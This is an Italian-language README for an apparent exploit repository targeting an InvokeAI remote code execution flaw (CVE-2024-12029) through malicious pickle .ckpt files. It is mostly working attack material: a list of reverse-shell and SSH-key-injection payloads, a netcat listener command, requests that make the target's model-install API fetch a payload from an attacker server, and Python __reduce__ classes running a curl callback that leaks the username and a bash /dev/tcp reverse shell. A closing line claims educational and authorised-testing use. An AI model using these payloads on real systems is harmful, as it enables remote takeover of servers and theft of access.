Questo repository contiene approcci alternativi di payload per la vulnerabilità RCE di InvokeAI (CVE-2024-12029) quando l'iniezione della chiave SSH fallisce. I payload sono progettati per testare se la deserializzazione pickle sta effettivamente avvenendo e forniscono metodi di accesso alternativi.
Questo repository contiene approcci alternativi di payload per la vulnerabilità RCE di InvokeAI (CVE-2024-12029) quando l'iniezione della chiave SSH fallisce. I payload sono progettati per verificare se la deserializzazione pickle sta effettivamente avvenendo e per fornire metodi di accesso alternativi.
Quando i payload di iniezione della chiave SSH vengono consegnati correttamente (Status 201) ma l'accesso SSH richiede ancora la password, ciò indica che:
payload_reverse_bash.ckpt (89 byte) - reverse shell Bashpayload_reverse_python.ckpt (267 byte) - reverse shell Pythonpayload_reverse_nc.ckpt (70 byte) - reverse shell Netcatpayload_callback_test.ckpt (115 byte) - callback HTTP per verificare la deserializzazionepayload_test.ckpt (90 byte) - semplice test di creazione filepayload_alt_exec.ckpt (223 byte) - metodo di esecuzione alternativopayload_ssh_simple.ckpt (271 byte) - iniezione di chiave SSH compatibile con Linuxkali_reverse_test.py - Suite di test completareverse_shell_payload.py - Genera payload reverse shellpython web_server.py --port 8000
# Copy kali_reverse_test.py to Kali and run:
python3 kali_reverse_test.py
# Choose option 1 to test callback
# Start listener on Kali:
nc -lvnp 4444
# Send reverse shell payload:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_reverse_bash.ckpt', 'inplace': 'true'}, json={})"
# Test basic command execution:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_test.ckpt', 'inplace': 'true'}, json={})"
# Verify file creation:
ssh [email protected] 'cat /tmp/payload_test.txt'
/tmp/payload_test.txt sul targetclass CallbackTestPayload:
def __reduce__(self):
import os
command = 'curl "http://192.168.45.168:8000/callback?success=1&user=$(whoami)"'
return (os.system, (command,))
class ReverseShellPayload:
def __reduce__(self):
import os
command = f'bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1"'
return (os.system, (command,))
class TestPayload:
def __reduce__(self):
import os
return (os.system, ('echo "PAYLOAD_EXECUTED_$(date)" > /tmp/payload_test.txt',))
torch.load()Questo repository è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati. Gli utenti sono responsabili di garantire di disporre della corretta autorizzazione prima di testare qualsiasi sistema.